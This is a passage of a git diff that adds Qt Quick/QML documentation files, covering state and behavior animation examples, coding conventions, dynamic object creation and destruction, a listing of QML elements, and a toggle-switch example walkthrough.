+to red, and interrupt the animation to return to "GreenState", the base state will include the color in its intermediate, mid-animation form.
+
+While future versions of QML should be able to handle this situation more gracefully, there are currently several ways to rework your application to avoid this problem.
+
+1. Use a transition to animate the change, rather than a Behavior.
+
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ Rectangle {
+ id: coloredRect
+ width: 100
+ height: 100
+ anchors.centerIn: parent
+
+ color: "red"
+
+ MouseArea {
+ id: mouser
+ anchors.fill: parent
+ hoverEnabled: true
+ }
+
+ states: State {
+ name: "GreenState"
+ when: mouser.containsMouse
+
+ PropertyChanges {
+ target: coloredRect
+ color: "green"
+ }
+ }
+
+ transitions: Transition {
+ ColorAnimation {}
+ }
+ }
+}
+\endqml
+
+2. Use a conditional binding to change the property value, rather than a state
+
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ Rectangle {
+ id: coloredRect
+ width: 100
+ height: 100
+ anchors.centerIn: parent
+
+ color: mouser.containsMouse ? "green" : "red"
+ Behavior on color {
+ ColorAnimation {}
+ }
+
+ MouseArea {
+ id: mouser
+ anchors.fill: parent
+ hoverEnabled: true
+ }
+ }
+}
+\endqml
+
+3. Use only explicitly defined states, rather than an implicit base state
+
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ Rectangle {
+ id: coloredRect
+ width: 100
+ height: 100
+ anchors.centerIn: parent
+
+ Behavior on color {
+ ColorAnimation {}
+ }
+
+ MouseArea {
+ id: mouser
+ anchors.fill: parent
+ hoverEnabled: true
+ }
+
+ states: [
+ State {
+ name: "GreenState"
+ when: mouser.containsMouse
+
+ PropertyChanges {
+ target: coloredRect
+ color: "green"
+ }
+ },
+ State {
+ name: "RedState"
+ when: !mouser.containsMouse
+
+ PropertyChanges {
+ target: coloredRect
+ color: "red"
+ }
+ }]
+ }
+}
+\endqml
+
+*/
diff --git a/doc/src/declarative/codingconventions.qdoc b/doc/src/declarative/codingconventions.qdoc
new file mode 100644
index 00000000..6c258746
--- /dev/null
+++ b/doc/src/declarative/codingconventions.qdoc
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-coding-conventions.html
+\title QML Coding Conventions
+
+This document contains the QML coding conventions that we follow in our documentation and examples and recommend that others follow.
+
+This page assumes that you are already familiar with the QML language.
+If you need an introduction to the language, please read \l {Introduction to the QML language}{the QML introduction} first.
+
+
+\section1 QML Objects
+
+Through our documentation and examples, QML objects are always structured in the following order:
+
+\list
+\o id
+\o property declarations
+\o signal declarations
+\o JavaScript functions
+\o object properties
+\o child objects
+\o states
+\o transitions
+\endlist
+
+For better readability, we separate these different parts with an empty line.
+
+
+For example, a hypothetical \e photo QML object would look like this:
+
+\snippet doc/src/snippets/declarative/codingconventions/photo.qml 0
+
+
+\section1 Grouped Properties
+
+If using multiple properties from a group of properties,
+we use the \e {group notation} rather than the \e {dot notation} to improve readability.
+
+For example, this:
+
+\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 0
+
+can be written like this:
+
+\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 1
+
+
+\section1 Private Properties
+
+QML and JavaScript do not enforce private properties like C++. There is a need
+to hide these private properties, for example, when the properties are part of
+the implementation. As a convention, private properties begin with two
+\e underscore characters. For example, \c __area, is a property that is
+accessible but is not meant for public use. Note that QML and JavaScript will
+grant the user access to these properties.
+
+\snippet doc/src/snippets/declarative/codingconventions/private.qml 0
+
+
+\section1 Lists
+
+If a list contains only one element, we generally omit the square brackets.
+
+For example, it is very common for a component to only have one state.
+
+In this case, instead of:
+
+\snippet doc/src/snippets/declarative/codingconventions/lists.qml 0
+
+we will write this:
+
+\snippet doc/src/snippets/declarative/codingconventions/lists.qml 1
+
+
+\section1 JavaScript Code
+
+If the script is a single expression, we recommend writing it inline:
+
+\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 0
+
+If the script is only a couple of lines long, we generally use a block:
+
+\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 1
+
+If the script is more than a couple of lines long or can be used by different objects, we recommend creating a function and calling it like this:
+
+\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 2
+
+For long scripts, we will put the functions in their own JavaScript file and import it like this:
+
+\snippet doc/src/snippets/declarative/codingconventions/javascript-imports.qml 0
+
+*/
+
+
+
+
+
+
+
+
+
diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc
new file mode 100644
index 00000000..836c4123
--- /dev/null
+++ b/doc/src/declarative/declarativeui.qdoc
@@ -0,0 +1,160 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\title Qt Quick
+\page qtquick.html
+\ingroup qt-gui-concepts
+
+\brief Qt Quick provides a declarative framework for building highly
+dynamic user interfaces.
+
+Qt Quick is a collection of technologies that are designed to help
+developers create the kind of intuitive, modern, fluid user
+interfaces that are increasingly used on mobile phones, media players,
+set-top boxes and other portable devices.
+
+Qt Quick consists of a rich set of user interface elements, a declarative
+language for describing user interfaces and a language runtime. A collection
+of C++ APIs is used to integrate these high level features with classic
+Qt applications.
+
+\section1 Getting Started
+
+\list
+\o \l{Introduction to Qt Quick}
+\o \l{QML for Qt Programmers}{QML Programming for Qt Programmers}
+\o \l{Getting Started Programming with QML}
+
+\o \l{What's new in Qt Quick}{What's New in the Qt Quick Release}
+\o \l{QML Examples and Demos}
+\endlist
+
+\section1 QML Features
+
+\list
+\o \l{QML Basic Elements}{Basic Elements}
+\o \l{QML Basic Types}{Data Types}
+\o \l{Property Binding}
+\o \l{Using QML Positioner and Repeater Items}{Component Layouts}
+\o \l{Anchor-based Layout in QML}{Layouts using Anchors}
+\o \l{QML Mouse Events}{Mouse Events}
+\o \l{QML Text Handling and Validators}{Text Handling and Validators}
+\o \l{Keyboard Focus in QML}{Keyboard Focus}
+\o \l{QML Signal and Handler Event System}{Signal and Handler Event System}
+\o \l{Importing Reusable Components}
+\o \l{QML States}{States}
+\o \l{QML Animation and Transitions}{Animation and Transitions}
+\o \l{QML Data Models}{Structuring Data with Models}
+\o \l{Presenting Data with Views}
+\o \l{Extending QML Functionalities using C++}
+\o \l{Using QML Bindings in C++ Applications}
+\o \l{Integrating QML Code with Existing Qt UI Code}
+\o \l{Dynamic Object Management in QML}{Dynamic Object Management}
+\o \l{Network Transparency}{Loading Resources in QML}
+\o \l{QML Internationalization}{Internationalization}
+\endlist
+
+\section1 QML Add-Ons
+
+\list
+\o \l{Qt Quick Components for Symbian 1.1}{Qt Quick Components for Symbian} - a native component set for the Symbian^3 platform
+\o \l{QtWebKit QML Module}
+\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins}
+\o \l {http://doc.qt.nokia.com/qt-components-symbian-1.1/index.html}{Qt Quick Components}
+\endlist
+
+\section1 Qt Quick Tools
+
+\list
+\o \l{Debugging QML}
+\o \l{external: Developing Qt Quick Applications with Creator}{Developing with Qt Creator}
+\o \l{QML Viewer}
+\endlist
+
+\section1 Reference
+
+\list
+\o \l{Introduction to the QML language}{QML Syntax}
+\o \l{QML Elements}
+\o \l{Qt Declarative Module}
+\o \l{QML Basic Types}{QML Data Types}
+\o \l{QML Coding Conventions}
+\o \l{external: Qt Creator Manual}{Qt Creator Manual}
+\o \l{Programming with Qt}
+\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/index.html}{Qt Mobility Documentation}
+\endlist
+
+\section1 Architecture
+
+\list
+\o \l{Qt Declarative UI Runtime}
+\o \l{Integrating JavaScript}
+\o \l{QML Scope}
+\o \l{QML Modules}
+\o \l{QML Documents}
+\o \l{QML Global Object}
+\o \l{QML Internationalization}
+\o \l{QML Right-to-left User Interfaces}
+\o \l{QML Security}
+\o \l{Qt Declarative Module}
+\endlist
+
+\section1 Examples
+
+\list
+\o \l{QML Tutorial}{"Hello World" Tutorial}
+\o \l{Getting Started Programming with QML}
+\o \l{QML Advanced Tutorial}{Tutorial: "Same Game"}
+\o \l{Tutorial: Writing QML extensions with C++}
+\o \l{QML Examples and Demos}
+
+\o Forum Nokia:
+\l{http://wiki.forum.nokia.com/index.php/Qt_Quick_examples_for_porting}{Qt Quick
+examples for porting}
+\endlist
+
+\section1 Best Practices
+
+\list
+\o \l{QML Best Practices: Coding Conventions}{Coding Tips}
+\o \l{QML Performance}{Performance Tips}
+\endlist
+
+\section1 License Information
+\list
+\o \l{Qt Quick Licensing Information}
+\endlist
+
+\section1 Online Examples
+
+\list
+\o Forum Nokia:
+\l{http://wiki.forum.nokia.com/index.php/Qt_Quick_examples_for_porting}{Qt Quick
+examples for porting}
+\endlist
+*/
diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc
new file mode 100644
index 00000000..488c2eda
--- /dev/null
+++ b/doc/src/declarative/dynamicobjects.qdoc
@@ -0,0 +1,215 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativedynamicobjects.html
+\ingroup qml-features
+\contentspage {QML Features}
+\previouspage {Integrating QML Code with Existing Qt UI Code}
+\nextpage {Network Transparency}{Loading Resources in QML}
+\title Dynamic Object Management in QML
+
+QML provides a number of ways to dynamically create and manage QML objects.
+The \l{Loader}, \l{Repeater}, \l{ListView}, \l{GridView} and \l{PathView} elements
+all support dynamic object management. Objects can also be created and managed
+from C++, and this is the preferred method for hybrid QML/C++ applications
+(see \l{Using QML Bindings in C++ Applications}).
+
+QML also supports the dynamic creation of objects from within JavaScript
+code. This is useful if the existing QML elements do not fit the needs of your
+application, and there are no C++ components involved.
+
+See the \l {declarative/toys/dynamicscene}{Dynamic Scene example} for a demonstration
+of the concepts discussed on this page.
+
+
+\section1 Creating Objects Dynamically
+
+There are two ways to create objects dynamically from JavaScript. You can either call
+\l {QML:Qt::createComponent()}{Qt.createComponent()} to dynamically create
+a \l Component object, or use \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()}
+to create an item from a string of QML.
+Creating a component is better if you have an existing component defined in a \c .qml
+file, and you want to dynamically create instances of that component. Otherwise,
+creating an item from a string of QML is useful when the item QML itself is generated
+at runtime.
+
+
+\section2 Creating a Component Dynamically
+
+To dynamically load a component defined in a QML file, call the
+\l {QML:Qt::createComponent()}{Qt.createComponent()} function on the \l{QML Global Object}.
+This function takes the URL of the QML file as its only argument and creates
+a \l Component object from this URL.
+
+Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of
+the component. This function can take one or two arguments:
+\list
+\o The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is
+ recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to
+ this function.
+\o The second is optional and is a map of property-value items that define initial any property values for the item.
+ Property values specified by this argument are applied to the object before its creation is finalized, avoiding
+ binding errors that may occur if particular properties must be initialized to enable other property bindings.
+ when certain properties have been bound to before they have been set by the code. Additionally, there are small
+ performance benefits when compared to defining property values and bindings after the object is created.
+\endlist
+
+Here is an example. First there is \c Sprite.qml, which defines a simple QML component:
+
+\snippet doc/src/snippets/declarative/Sprite.qml 0
+
+Our main application file, \c main.qml, imports a \c componentCreation.js JavaScript file
+that will create \c Sprite objects:
+
+\snippet doc/src/snippets/declarative/createComponent.qml 0
+
+Here is \c componentCreation.js. Notice it checks whether the component \l{Component::status}{status} is
+\c Component.Ready before calling \l {Component::createObject()}{createObject()}
+in case the QML file is loaded over a network and thus is not ready immediately.
+
+\snippet doc/src/snippets/declarative/componentCreation.js vars
+\codeline
+\snippet doc/src/snippets/declarative/componentCreation.js func
+\snippet doc/src/snippets/declarative/componentCreation.js remote
+\snippet doc/src/snippets/declarative/componentCreation.js func-end
+\codeline
+\snippet doc/src/snippets/declarative/componentCreation.js finishCreation
+
+If you are certain the QML file to be loaded is a local file, you could omit the \c finishCreation()
+function and call \l {Component::createObject()}{createObject()} immediately:
+
+\snippet doc/src/snippets/declarative/componentCreation.js func
+\snippet doc/src/snippets/declarative/componentCreation.js local
+\snippet doc/src/snippets/declarative/componentCreation.js func-end
+
+Notice in both instances, \l {Component::createObject()}{createObject()} is called with
+\c appWindow passed as an argument so that the created object will become a child of the
+\c appWindow item in \c main.qml. Otherwise, the new item will not appear in the scene.
+
+When using files with relative paths, the path should
+be relative to the file where \l {QML:Qt::createComponent()}{Qt.createComponent()} is executed.
+
+To connect signals to (or receive signals from) dynamically created objects,
+use the signal \c connect() method. See
+\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}
+{Connecting Signals to Methods and Signals} for more information.
+
+
+\section2 Creating an Object from a String of QML
+
+If the QML is not defined until runtime, you can create a QML item from
+a string of QML using the \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} function, as in the following example:
+
+\snippet doc/src/snippets/declarative/createQmlObject.qml 0
+
+The first argument is the string of QML to create. Just like in a new file, you will need to
+import any types you wish to use. The second argument is the parent item for the new item;
+this should be an existing item in the scene. The third argument is the file path to associate
+with the new item; this is used for error reporting.
+
+If the string of QML imports files using relative paths, the path should be relative
+to the file in which the parent item (the second argument to the method) is defined.
+
+
+\section1 Maintaining Dynamically Created Objects
+
+When managing dynamically created items, you must ensure the creation context
+outlives the created item. Otherwise, if the creation context is destroyed first,
+the bindings in the dynamic item will no longer work.
+
+The actual creation context depends on how an item is created:
+
+\list
+\o If \l {QML:Qt::createComponent()}{Qt.createComponent()} is used, the creation context
+ is the QDeclarativeContext in which this method is called
+\o If \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()}
+ if called, the creation context is the context of the parent item passed to this method
+\o If a \c {Component{}} item is defined and \l {Component::createObject()}{createObject()}
+ is called on that item, the creation context is the context in which the \c Component is defined
+\endlist
+
+Also, note that while dynamically created objects may be used the same as other objects, they
+do not have an id in QML.
+
+
+\section1 Deleting Objects Dynamically
+
+In many user interfaces, it is sufficient to set an item's opacity to 0 or
+to move the item off the screen instead of deleting the item. If you have
+lots of dynamically created items, however, you may receive a worthwhile
+performance benefit if unused items are deleted.
+
+Note that you should never manually delete items that were dynamically created
+by QML elements (such as \l Loader and \l Repeater). Also, you should avoid deleting
+items that you did not dynamically create yourself.
+
+Items can be deleted using the \c destroy() method. This method has an optional
+argument (which defaults to 0) that specifies the approximate delay in milliseconds
+before the object is to be destroyed.
+
+Here is an example. The \c application.qml creates five instances of the \c SelfDestroyingRect.qml
+component. Each instance runs a NumberAnimation, and when the animation has finished, calls
+\c destroy() on its root item to destroy itself:
+
+\table
+\row
+\o \c application.qml
+\o \c SelfDestroyingRect.qml
+
+\row
+\o \snippet doc/src/snippets/declarative/dynamicObjects-destroy.qml 0
+\o \snippet doc/src/snippets/declarative/SelfDestroyingRect.qml 0
+
+\endtable
+
+Alternatively, the \c application.qml could have destroyed the created object
+by calling \c object.destroy().
+
+Note that it is safe to call destroy() on an object within that object. Objects are not destroyed the
+instant destroy() is called, but are cleaned up sometime between the end of that script block and the next frame
+(unless you specified a non-zero delay).
+
+Note also that if a \c SelfDestroyingRect instance was created statically like this:
+
+\qml
+Item {
+ SelfDestroyingRect {
+ // ...
+ }
+}
+\endqml
+
+This would result in an error, since items can only be dynamically
+destroyed if they were dynamically created.
+
+Objects created with \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()}
+can similarly be destroyed using \c destroy():
+
+\snippet doc/src/snippets/declarative/createQmlObject.qml 0
+\snippet doc/src/snippets/declarative/createQmlObject.qml destroy
+*/
diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc
new file mode 100644
index 00000000..4252db75
--- /dev/null
+++ b/doc/src/declarative/elements.qdoc
@@ -0,0 +1,337 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \page qdeclarativeelements.html
+ \target elements
+ \title QML Elements
+ \brief A listing of standard QML elements.
+
+These are the functionally grouped lists of QML elements as part of
+\l{Qt Quick}.
+
+Elements are declared with the their name and two curly braces. Elements may
+be nested in elements, thereby creating a parent-child relationship between the
+two elements.
+
+To see the QML elements listed by functional area, see the
+\l{Groups Of Related QML Elements} page.
+
+\section1 Basic QML Elements
+\list
+\o \l {Item} - Basic item element inherited by QML elements
+\o \l {Component} - Encapsulates QML elements during importing
+\o \l {QML:QtObject} {QtObject} - Basic element containing only the \c {objectName} property
+\endlist
+
+\section1 Graphics
+\list
+\o \l {Rectangle} - A rectangle element
+\o \l {Image} - For incorporating bitmaps into a scene
+\o \l {BorderImage} - Allows the use of images as borders
+\o \l {AnimatedImage} - For playing animations stored in a series of frames
+\o \l {Gradient} - For defining a color gradient
+\o \l {GradientStop} - Used to define a color within a \l {Gradient}
+\o \l {SystemPalette} - Provides access to the Qt palettes
+\endlist
+
+\section1 Text Handling
+\list
+\o \l {Text} - For inserting formatted text into a scene
+\o \l {TextInput} - Captures user key input
+\o \l {TextEdit} - Displays multiple lines of editable formatted text
+\o \l {IntValidator} - Validates values as integers
+\o \l {DoubleValidator} - Validates real values
+\o \l {RegExpValidator} - Validator for string regular expressions
+\o \l {FontLoader} - Loads fonts by name or URL
+\endlist
+
+\section1 Mouse and Interaction Area
+\list
+\o \l {MouseArea} - Sets up an area for mouse interaction
+\o \l {Keys} - Provides components with attached properties to handle key input.
+\o \l {FocusScope} - Element that mediate keyboard focus changes
+\o \l {Flickable} - Provides a surface that can be "flicked"
+\o \l {Flipable} - Provides a surface that produces "flipping" effects
+\o \l {PinchArea} - Enables simple pinch gesture handling
+\endlist
+
+\section1 Positioners and Repeater
+\list
+\o \l {Column} - Arranges its children vertically
+\o \l {Row} - Arranges its children horizontally
+\o \l {Grid} - Positions its children in a grid
+\o \l {Flow} - Positions its children with wrapping support
+\o \l {Repeater} - Uses a model to create multiple components
+\endlist
+
+\section1 Transformations
+\list
+\o \l {Scale} - Assigns item scaling behaviors
+\o \l {Rotation} - Assigns item rotation behaviors
+\o \l {Translate} - Assigns item translation behaviors
+\endlist
+
+\section1 States
+\list
+\o \l {State} - Defines sets of configurations of objects and properties
+\o \l {PropertyChanges} - Describes property changes within a state
+\o \l {StateGroup} - Contains a set of states and state transitions
+\o \l {StateChangeScript} - Allows script binding in a state
+\o \l {ParentChange} - Re-parent an Item in a state change
+\o \l {AnchorChanges} - Change the anchors of an item in a state
+\endlist
+
+\section1 Animation and Transitions
+\list
+\o \l {Transition} - Animates transitions during state changes
+\o \l {SequentialAnimation} - Runs animations sequentially
+\o \l {ParallelAnimation} - Runs animations in parallel
+\o \l {Behavior} - Specifies a default animation for property changes
+\o \l {PropertyAction} - Sets immediate property changes during animation
+\o \l {PauseAnimation} - Introduces a pause in an animation
+\o \l {SmoothedAnimation} - Allows a property to smoothly track a value
+\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion
+\o \l {ScriptAction} - Runs scripts during an animation
+\endlist
+
+Elements that animate properties based on data types
+\list
+\o \l {PropertyAnimation} - Animates property changes
+\o \l {NumberAnimation} - Animates properties of type qreal
+\o \l {Vector3dAnimation} - Animates properties of type QVector3d
+\o \l {ColorAnimation} - Animates color changes
+\o \l {RotationAnimation} - Animates rotations
+\o \l {ParentAnimation} - Animates parent changes
+\o \l {AnchorAnimation} - Animates anchor changes
+\endlist
+
+\section1 Models and Data Handling
+\list
+\o \l {ListModel} - Defines a list of data
+\o \l {ListElement} - Defines a data item in a \l {ListModel}
+\o \l {VisualItemModel} - Contains items that already defines its own visual delegate
+\o \l {VisualDataModel} - Encapsulates a model and a delegate
+\o \l {XmlListModel} - Specifies a model using XPath expressions
+\o \l {XmlRole} - Specifies a role for an \l {XmlListModel}
+\o \l {Binding} - Binds any value to any property
+\o \l {Package} - Collection that enables sharing of items within different views
+\endlist
+
+\section1 Views
+\list
+\o \l {ListView} - Provides a list visualization of a model
+\o \l {GridView} - Provides a grid visualization of a model
+\o \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information.
+\endlist
+
+\section1 Path Definition
+\list
+\o \l {Path} - Defines a path used by \l {PathView}
+\o \l {PathLine} - Defines a line in \l {Path}
+\o \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path}
+\o \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path}
+\o \l {PathAttribute} - Allows the setting of attributes along a \l {Path}
+\o \l {PathPercent} - Modifies the item distribution along a \l {Path}
+\endlist
+
+\section1 Utility
+\list
+\o \l {Connections} - Explicitly connects signals and signal handlers
+\o \l {Timer} - Provides timed triggers
+\o \l {QML:Qt} {Qt} - The QML global Qt object provides useful enums and functions from Qt.
+\o \l {WorkerScript} - Enables the use of threads in QML
+\o \l {Loader} - Controls the loading of items or components
+\o \l {LayoutItem} - Allows declarative UI elements inside Qt's Graphics View layouts
+\endlist
+
+\section1 Graphical Effects
+\list
+\o \l {Particles} - Generates and animates particles
+\o \l {ParticleMotionLinear} - Adds linear motion behavior to \l {Particles}
+\o \l {ParticleMotionGravity} - Adds gravitational motion to \l {Particles}
+\o \l {ParticleMotionWander} - Adds varied motions to \l {Particles}
+\o \l {ShaderEffectItem} - Enables the use of OpenGL Shading Language together with QML
+\o \l {ShaderEffectSource} - Encapsulates QML item tree as a source item for \l {ShaderEffectItem}
+\endlist
+
+\section1 Add-On Elements
+These elements are not included in the \c{QtQuick 1.0} module. Their respective QML bindings
+should first be obtained and installed.
+\list
+\o \l{WebView}{QtWebKit QML Module - WebView Element} - For displaying Web contents
+\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins}
+\o \l {http://doc.qt.nokia.com/qt-components-symbian-1.1/index.html}{Qt Quick Components}
+\endlist
+
+*/
+
+
+/*!
+ \group qml-groups
+ \title Groups Of Related QML Elements
+
+ \brief If you know what kind of QML element you want (Basic Visual,
+ Interaction, Animation, etc), look here.
+
+ This is a list of functional groups of QML elements.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-basic-visual-elements
+ \title Basic QML Visual Elements
+ \ingroup qml-groups
+
+ \brief Elements for constructing basic visual items.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-basic-interaction-elements
+ \title Basic QML Interaction Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling basic interactions.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-state-elements
+ \title QML State Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling state changes.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-event-elements
+ \title QML Event Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling events.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-animation-transition
+ \title QML Animation and Transition Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling animations and transitions.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-working-with-data
+ \title Working With Data in QML
+ \ingroup qml-groups
+
+ \brief Elements for working with data.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-view-elements
+ \title QML View Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling views.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-positioning-elements
+ \title QML Positioning Elements
+ \ingroup qml-groups
+
+ \brief Elements for positioning items.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-utility-elements
+ \title QML Utility Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling misc operations.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-transform-elements
+ \title QML Transform Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling transformations.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-particle-elements
+ \title QML Particle Elements
+ \ingroup qml-groups
+
+ \brief Elements for handling particle effects.
+
+ \generatelist{related}
+
+*/
+
+/*!
+ \group qml-shader-elements
+ \title QML Shader Elements
+ \ingroup qml-groups
+
+ \brief Elements for using OpenGL shading language code together with the QML code.
+
+ \generatelist{related}
+
+*/
diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc
new file mode 100644
index 00000000..33e54086
--- /dev/null
+++ b/doc/src/declarative/example-slideswitch.qdoc
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativeexampletoggleswitch.html
+\title QML Example - Toggle Switch
+
+This example shows how to create a reusable switch component in QML.
+
+The code for this example can be found in the \c $QTDIR/examples/declarative/ui-components/slideswitch directory.
+
+The elements that compose the switch are:
+
+\list
+\o a \c on property (the interface to interact with the switch),
+\o two images (the background image and the knob),
+\o two mouse regions for user interation (on the background image and on the knob),
+\o two states (a \e on state and a \e off state),
+\o two functions or slots to react to the user interation (\c toggle() and \c dorelease()),
+\o and a transition that describe how to go from one state to the other.
+\endlist
+
+\section1 Switch.qml
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 0
+
+\section1 Walkthrough
+
+\section2 Interface
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 1
+
+This property is the interface of the switch. By default, the switch is off and this property is \c false.
+It can be used to activate/disactivate the switch or to query its current state.
+
+In this example:
+
+\qml
+Item {
+ Switch {
+ id: mySwitch
+ on: true
+ }
+ Text {
+ text: "The switch is on"
+ visible: mySwitch.on == true
+ }
+}
+\endqml
+
+the text will only be visible when the switch is on.
+
+\section2 Images and user interaction
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 4
+
+First, we create the background image of the switch.
+In order for the switch to toggle when the user clicks on the background, we add a \l{MouseArea} as a child item of the image.
+A \c MouseArea has a \c onClicked property that is triggered when the item is clicked. For the moment we will just call a
+\c toggle() function. We will see what this function does in a moment.
+
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 5
+
+Then, we place the image of the knob on top of the background.
+The interaction here is a little more complex. We want the knob to move with the finger when it is clicked. That is what the \c drag
+property of the \c MouseArea is for. We also want to toggle the switch if the knob is released between state. We handle this case
+in the \c dorelease() function that is called in the \c onReleased property.
+
+\section2 States
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 6
+
+We define the two states of the switch:
+\list
+\o In the \e on state the knob is on the right (\c x position is 78) and the \c on property is \c true.
+\o In the \e off state the knob is on the left (\c x position is 1) and the \c on property is \c false.
+\endlist
+
+For more information on states see \l{qmlstates}{QML States}.
+
+\section2 Functions
+
+We add two JavaScript functions to our switch:
+
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 2
+
+This first function is called when the background image or the knob are clicked. We simply want the switch to toggle between the two
+states (\e on and \e off).
+
+
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 3
+
+This second function is called when the knob is released and we want to make sure that the knob does not end up between states
+(neither \e on nor \e off). If it is the case call the \c toggle() function otherwise we do nothing.
+
+For more information on scripts see \l{Integrating JavaScript}.
+
+\section2 Transition
+\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 7
+
